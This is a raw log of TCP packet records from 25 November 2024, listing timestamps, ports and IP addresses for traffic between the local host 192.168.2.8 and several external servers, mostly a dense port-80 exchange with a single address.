Nov 25, 2024 12:08:48.412897110 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.413888931 CET	443	49782	13.107.246.63	192.168.2.8
Nov 25, 2024 12:08:48.413957119 CET	49782	443	192.168.2.8	13.107.246.63
Nov 25, 2024 12:08:48.414087057 CET	443	49789	23.44.201.21	192.168.2.8
Nov 25, 2024 12:08:48.414377928 CET	49782	443	192.168.2.8	13.107.246.63
Nov 25, 2024 12:08:48.414454937 CET	443	49782	13.107.246.63	192.168.2.8
Nov 25, 2024 12:08:48.414566040 CET	49789	443	192.168.2.8	23.44.201.21
Nov 25, 2024 12:08:48.414586067 CET	443	49789	23.44.201.21	192.168.2.8
Nov 25, 2024 12:08:48.414777040 CET	49782	443	192.168.2.8	13.107.246.63
Nov 25, 2024 12:08:48.414783955 CET	443	49782	13.107.246.63	192.168.2.8
Nov 25, 2024 12:08:48.417923927 CET	443	49789	23.44.201.21	192.168.2.8
Nov 25, 2024 12:08:48.417993069 CET	49789	443	192.168.2.8	23.44.201.21
Nov 25, 2024 12:08:48.419055939 CET	49789	443	192.168.2.8	23.44.201.21
Nov 25, 2024 12:08:48.419142962 CET	443	49789	23.44.201.21	192.168.2.8
Nov 25, 2024 12:08:48.463399887 CET	49782	443	192.168.2.8	13.107.246.63
Nov 25, 2024 12:08:48.463484049 CET	49789	443	192.168.2.8	23.44.201.21
Nov 25, 2024 12:08:48.463491917 CET	443	49789	23.44.201.21	192.168.2.8
Nov 25, 2024 12:08:48.491100073 CET	443	49772	13.107.246.63	192.168.2.8
Nov 25, 2024 12:08:48.491178036 CET	443	49772	13.107.246.63	192.168.2.8
Nov 25, 2024 12:08:48.491202116 CET	49772	443	192.168.2.8	13.107.246.63
Nov 25, 2024 12:08:48.491211891 CET	443	49772	13.107.246.63	192.168.2.8
Nov 25, 2024 12:08:48.491251945 CET	49772	443	192.168.2.8	13.107.246.63
Nov 25, 2024 12:08:48.491322041 CET	49772	443	192.168.2.8	13.107.246.63
Nov 25, 2024 12:08:48.499299049 CET	443	49772	13.107.246.63	192.168.2.8
Nov 25, 2024 12:08:48.499372959 CET	49772	443	192.168.2.8	13.107.246.63
Nov 25, 2024 12:08:48.499373913 CET	443	49772	13.107.246.63	192.168.2.8
Nov 25, 2024 12:08:48.499418974 CET	443	49772	13.107.246.63	192.168.2.8
Nov 25, 2024 12:08:48.499423027 CET	49772	443	192.168.2.8	13.107.246.63
Nov 25, 2024 12:08:48.499480963 CET	49772	443	192.168.2.8	13.107.246.63
Nov 25, 2024 12:08:48.506403923 CET	443	49772	13.107.246.63	192.168.2.8
Nov 25, 2024 12:08:48.506450891 CET	443	49772	13.107.246.63	192.168.2.8
Nov 25, 2024 12:08:48.506479025 CET	49772	443	192.168.2.8	13.107.246.63
Nov 25, 2024 12:08:48.506486893 CET	443	49772	13.107.246.63	192.168.2.8
Nov 25, 2024 12:08:48.506510973 CET	49772	443	192.168.2.8	13.107.246.63
Nov 25, 2024 12:08:48.506526947 CET	49772	443	192.168.2.8	13.107.246.63
Nov 25, 2024 12:08:48.509121895 CET	49789	443	192.168.2.8	23.44.201.21
Nov 25, 2024 12:08:48.512506962 CET	443	49772	13.107.246.63	192.168.2.8
Nov 25, 2024 12:08:48.512566090 CET	443	49772	13.107.246.63	192.168.2.8
Nov 25, 2024 12:08:48.512578964 CET	49772	443	192.168.2.8	13.107.246.63
Nov 25, 2024 12:08:48.512586117 CET	443	49772	13.107.246.63	192.168.2.8
Nov 25, 2024 12:08:48.512624025 CET	49772	443	192.168.2.8	13.107.246.63
Nov 25, 2024 12:08:48.512631893 CET	443	49772	13.107.246.63	192.168.2.8
Nov 25, 2024 12:08:48.512676001 CET	49772	443	192.168.2.8	13.107.246.63
Nov 25, 2024 12:08:48.512739897 CET	443	49772	13.107.246.63	192.168.2.8
Nov 25, 2024 12:08:48.512805939 CET	49772	443	192.168.2.8	13.107.246.63
Nov 25, 2024 12:08:48.513019085 CET	49772	443	192.168.2.8	13.107.246.63
Nov 25, 2024 12:08:48.513031960 CET	443	49772	13.107.246.63	192.168.2.8
Nov 25, 2024 12:08:48.532601118 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.680740118 CET	443	49788	204.79.197.237	192.168.2.8
Nov 25, 2024 12:08:48.681078911 CET	49788	443	192.168.2.8	204.79.197.237
Nov 25, 2024 12:08:48.681111097 CET	443	49788	204.79.197.237	192.168.2.8
Nov 25, 2024 12:08:48.681477070 CET	443	49788	204.79.197.237	192.168.2.8
Nov 25, 2024 12:08:48.681555986 CET	49788	443	192.168.2.8	204.79.197.237
Nov 25, 2024 12:08:48.682168961 CET	443	49788	204.79.197.237	192.168.2.8
Nov 25, 2024 12:08:48.682250023 CET	49788	443	192.168.2.8	204.79.197.237
Nov 25, 2024 12:08:48.683281898 CET	49788	443	192.168.2.8	204.79.197.237
Nov 25, 2024 12:08:48.683361053 CET	443	49788	204.79.197.237	192.168.2.8
Nov 25, 2024 12:08:48.720205069 CET	443	49791	23.209.72.33	192.168.2.8
Nov 25, 2024 12:08:48.723098040 CET	49791	443	192.168.2.8	23.209.72.33
Nov 25, 2024 12:08:48.723115921 CET	443	49791	23.209.72.33	192.168.2.8
Nov 25, 2024 12:08:48.726758957 CET	443	49791	23.209.72.33	192.168.2.8
Nov 25, 2024 12:08:48.726838112 CET	49791	443	192.168.2.8	23.209.72.33
Nov 25, 2024 12:08:48.727284908 CET	49791	443	192.168.2.8	23.209.72.33
Nov 25, 2024 12:08:48.727365971 CET	443	49791	23.209.72.33	192.168.2.8
Nov 25, 2024 12:08:48.734903097 CET	49788	443	192.168.2.8	204.79.197.237
Nov 25, 2024 12:08:48.734921932 CET	443	49788	204.79.197.237	192.168.2.8
Nov 25, 2024 12:08:48.752747059 CET	443	49787	152.195.19.97	192.168.2.8
Nov 25, 2024 12:08:48.753667116 CET	49787	443	192.168.2.8	152.195.19.97
Nov 25, 2024 12:08:48.753675938 CET	443	49787	152.195.19.97	192.168.2.8
Nov 25, 2024 12:08:48.754843950 CET	443	49787	152.195.19.97	192.168.2.8
Nov 25, 2024 12:08:48.754985094 CET	49787	443	192.168.2.8	152.195.19.97
Nov 25, 2024 12:08:48.755780935 CET	49787	443	192.168.2.8	152.195.19.97
Nov 25, 2024 12:08:48.755846977 CET	443	49787	152.195.19.97	192.168.2.8
Nov 25, 2024 12:08:48.755939007 CET	49787	443	192.168.2.8	152.195.19.97
Nov 25, 2024 12:08:48.780869007 CET	49791	443	192.168.2.8	23.209.72.33
Nov 25, 2024 12:08:48.780878067 CET	443	49791	23.209.72.33	192.168.2.8
Nov 25, 2024 12:08:48.780941010 CET	49788	443	192.168.2.8	204.79.197.237
Nov 25, 2024 12:08:48.799063921 CET	49787	443	192.168.2.8	152.195.19.97
Nov 25, 2024 12:08:48.799076080 CET	443	49787	152.195.19.97	192.168.2.8
Nov 25, 2024 12:08:48.830060959 CET	49791	443	192.168.2.8	23.209.72.33
Nov 25, 2024 12:08:48.845669985 CET	49787	443	192.168.2.8	152.195.19.97
Nov 25, 2024 12:08:48.850423098 CET	49797	443	192.168.2.8	104.40.82.182
Nov 25, 2024 12:08:48.850439072 CET	443	49797	104.40.82.182	192.168.2.8
Nov 25, 2024 12:08:48.850511074 CET	49797	443	192.168.2.8	104.40.82.182
Nov 25, 2024 12:08:48.850744009 CET	49797	443	192.168.2.8	104.40.82.182
Nov 25, 2024 12:08:48.850756884 CET	443	49797	104.40.82.182	192.168.2.8
Nov 25, 2024 12:08:48.859965086 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.859976053 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.859987020 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.860001087 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.860038996 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.860081911 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.860250950 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.860296011 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.860443115 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.860487938 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.860771894 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.860824108 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.861054897 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.861113071 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.861638069 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.861695051 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.862535954 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.862668991 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.862694979 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.862739086 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.862890959 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.862938881 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.863531113 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.863542080 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.863584042 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.863622904 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.864300966 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.864346027 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.864706993 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.864768982 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.865314007 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.865325928 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.865370035 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.865514040 CET	443	49790	20.110.205.119	192.168.2.8
Nov 25, 2024 12:08:48.865860939 CET	49790	443	192.168.2.8	20.110.205.119
Nov 25, 2024 12:08:48.865874052 CET	443	49790	20.110.205.119	192.168.2.8
Nov 25, 2024 12:08:48.866091967 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.866156101 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.866455078 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.867011070 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.867072105 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.867146969 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.867290020 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.867713928 CET	443	49790	20.110.205.119	192.168.2.8
Nov 25, 2024 12:08:48.867785931 CET	49790	443	192.168.2.8	20.110.205.119
Nov 25, 2024 12:08:48.867842913 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.867973089 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.868005991 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.868047953 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.868643045 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.868695974 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.868798018 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.868845940 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.869004965 CET	49790	443	192.168.2.8	20.110.205.119
Nov 25, 2024 12:08:48.869086981 CET	443	49790	20.110.205.119	192.168.2.8
Nov 25, 2024 12:08:48.869337082 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.869348049 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.869402885 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.870626926 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.870688915 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.870949984 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.871035099 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.871438980 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.871488094 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.872234106 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.872245073 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.872256994 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.872282982 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.872313023 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.873179913 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.873761892 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.873840094 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.873909950 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.873923063 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.873954058 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.873994112 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.874823093 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.874835014 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.874876976 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.874891996 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.875710011 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.875721931 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.875776052 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.876658916 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.876705885 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.876935005 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.877389908 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.877399921 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.877449989 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.878144979 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.878204107 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.878297091 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.878391981 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.879225969 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.879285097 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.879431009 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.879611015 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.880156040 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.880315065 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.880467892 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.880513906 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.880934000 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.880949974 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.880992889 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.881006956 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.881700039 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.881854057 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.881901979 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.882664919 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.882716894 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.883191109 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.883243084 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.883547068 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.883559942 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.883600950 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.884511948 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.884527922 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.884572983 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.884587049 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.885166883 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.885658026 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.885713100 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.886224985 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.886277914 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.886359930 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.886401892 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.887008905 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.887063980 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.887191057 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.887271881 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.887569904 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.887583017 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.887625933 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.888006926 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.888078928 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.889400005 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.889456034 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.890096903 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.890299082 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.890389919 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.890990019 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.891004086 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.891043901 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.891057014 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.891464949 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.891479015 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.891535044 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.892357111 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.892369986 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.892407894 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.892445087 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.893207073 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.893219948 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.893279076 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.893927097 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.893987894 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.894674063 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.894804955 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.894814014 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.894912958 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.895463943 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.895519972 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.895785093 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.895838022 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.895948887 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.895999908 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.896716118 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.896770954 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.897011042 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.897062063 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.897766113 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.897778034 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.897816896 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.897847891 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.898812056 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.898825884 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.898873091 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.898886919 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.899897099 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.900193930 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.900275946 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.900845051 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.900995016 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.901009083 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.901124001 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.901825905 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.901881933 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.901916027 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.901969910 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.902247906 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.902303934 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.902411938 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.903240919 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.903320074 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.904002905 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.904016972 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.904030085 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.904083967 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.904125929 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.905004978 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.905019999 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.905072927 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.905149937 CET	443	49782	13.107.246.63	192.168.2.8
Nov 25, 2024 12:08:48.905169010 CET	443	49782	13.107.246.63	192.168.2.8
Nov 25, 2024 12:08:48.905175924 CET	443	49782	13.107.246.63	192.168.2.8
Nov 25, 2024 12:08:48.905210018 CET	443	49782	13.107.246.63	192.168.2.8
Nov 25, 2024 12:08:48.905221939 CET	443	49782	13.107.246.63	192.168.2.8
Nov 25, 2024 12:08:48.905226946 CET	443	49782	13.107.246.63	192.168.2.8
Nov 25, 2024 12:08:48.905225992 CET	49782	443	192.168.2.8	13.107.246.63
Nov 25, 2024 12:08:48.905240059 CET	443	49782	13.107.246.63	192.168.2.8
Nov 25, 2024 12:08:48.905271053 CET	49782	443	192.168.2.8	13.107.246.63
Nov 25, 2024 12:08:48.905294895 CET	49782	443	192.168.2.8	13.107.246.63
Nov 25, 2024 12:08:48.905858040 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.905940056 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.906316042 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.906361103 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.906650066 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.909550905 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.923155069 CET	49790	443	192.168.2.8	20.110.205.119
Nov 25, 2024 12:08:48.923166990 CET	443	49790	20.110.205.119	192.168.2.8
Nov 25, 2024 12:08:48.969270945 CET	49790	443	192.168.2.8	20.110.205.119
Nov 25, 2024 12:08:48.979484081 CET	49798	443	192.168.2.8	13.107.246.40
Nov 25, 2024 12:08:48.979496002 CET	443	49798	13.107.246.40	192.168.2.8
Nov 25, 2024 12:08:48.979657888 CET	49798	443	192.168.2.8	13.107.246.40
Nov 25, 2024 12:08:48.979841948 CET	49799	443	192.168.2.8	13.107.246.40
Nov 25, 2024 12:08:48.979866028 CET	443	49799	13.107.246.40	192.168.2.8
Nov 25, 2024 12:08:48.979952097 CET	49800	443	192.168.2.8	13.107.246.40
Nov 25, 2024 12:08:48.979983091 CET	443	49800	13.107.246.40	192.168.2.8
Nov 25, 2024 12:08:48.980058908 CET	49799	443	192.168.2.8	13.107.246.40
Nov 25, 2024 12:08:48.980179071 CET	49800	443	192.168.2.8	13.107.246.40
Nov 25, 2024 12:08:48.980396986 CET	49801	443	192.168.2.8	13.107.246.40
Nov 25, 2024 12:08:48.980421066 CET	443	49801	13.107.246.40	192.168.2.8
Nov 25, 2024 12:08:48.980479956 CET	49801	443	192.168.2.8	13.107.246.40
Nov 25, 2024 12:08:48.980534077 CET	49802	443	192.168.2.8	13.107.246.40
Nov 25, 2024 12:08:48.980540991 CET	443	49802	13.107.246.40	192.168.2.8
Nov 25, 2024 12:08:48.980587006 CET	49802	443	192.168.2.8	13.107.246.40
Nov 25, 2024 12:08:48.980981112 CET	49802	443	192.168.2.8	13.107.246.40
Nov 25, 2024 12:08:48.980993986 CET	443	49802	13.107.246.40	192.168.2.8
Nov 25, 2024 12:08:48.981198072 CET	49801	443	192.168.2.8	13.107.246.40
Nov 25, 2024 12:08:48.981209993 CET	443	49801	13.107.246.40	192.168.2.8
Nov 25, 2024 12:08:48.981318951 CET	49800	443	192.168.2.8	13.107.246.40
Nov 25, 2024 12:08:48.981329918 CET	443	49800	13.107.246.40	192.168.2.8
Nov 25, 2024 12:08:48.981631994 CET	49799	443	192.168.2.8	13.107.246.40
Nov 25, 2024 12:08:48.981645107 CET	443	49799	13.107.246.40	192.168.2.8
Nov 25, 2024 12:08:48.981743097 CET	49798	443	192.168.2.8	13.107.246.40
Nov 25, 2024 12:08:48.981758118 CET	443	49798	13.107.246.40	192.168.2.8
Nov 25, 2024 12:08:49.059917927 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.060055971 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.060261965 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.060262918 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:49.060332060 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:49.060372114 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:49.060424089 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:49.061209917 CET	80	49744	185.215.113.206	192.168.2.8
